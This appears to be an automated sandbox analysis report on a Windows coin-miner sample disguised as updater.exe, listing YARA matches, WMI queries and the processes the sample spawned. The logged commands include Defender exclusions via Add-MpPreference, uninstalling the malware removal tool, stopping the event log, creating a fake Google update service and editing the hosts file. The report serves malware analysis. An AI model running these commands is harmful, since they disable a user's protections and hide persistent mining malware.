Source: conhost.exe, 00000027.00000002.3249654814.000002862EBE2000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.2414280384.000002862EC60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/xhASwz5f
Source: conhost.exe, 00000027.00000003.2414280384.000002862EC60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/xhASwz5fRunning
Source: conhost.exe, 00000027.00000003.2152302371.000002862EC26000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.2414325891.000002862EC26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/xhASwz5fX
Source: conhost.exe, 00000027.00000002.3248257230.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Spam, unwanted Advertisements and Ransom Demands

Modifies the hosts file

Source: C:\Users\user\Desktop\updater.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 39.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 39.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 39.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000027.00000002.3248257230.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: conhost.exe PID: 5596, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\Desktop\updater.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Windows\System32\conhost.exe

Code function: 36_2_0000000140001394 NtQueryInformationFile,

36_2_0000000140001394

Source: C:\ProgramData\Google\Chrome\updater.exe

File created: C:\Windows\TEMP\maoxoafwbtki.sys

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_c2tvagps.hao.ps1

Source: C:\Windows\System32\conhost.exe	Code function: 36_2_0000000140003250		36_2_0000000140003250
Source: C:\Windows\System32\conhost.exe	Code function: 36_2_00000001400027D0		36_2_00000001400027D0

Source: Joe Sandbox View

Dropped File: C:\Windows\Temp\maoxoafwbtki.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5

Source: updater.exe, 00000018.00000003.2105630449.0000021747340000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameWinRing0.sys2 vs updater.exe

Source: 39.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 39.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 39.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000027.00000002.3248257230.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: conhost.exe PID: 5596, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

Source: classification engine

Classification label: mal100.troj.adwa.spyw.evad.mine.winEXE@59/13@4/4

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6412:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2460:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5352:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4512:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2360:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5960:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1864:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1812:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4284:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6160:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1848:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6752:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Global\vazasxarlpknfxrw

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jodddkj1.w0x.ps1

Jump to behavior

Source: updater.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\wusa.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\Desktop\updater.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\updater.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: updater.exe

ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\updater.exe

File read: C:\Users\user\Desktop\updater.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\updater.exe "C:\Users\user\Desktop\updater.exe"
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\Google\Chrome\updater.exe C:\ProgramData\Google\Chrome\updater.exe
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\conhost.exe conhost.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
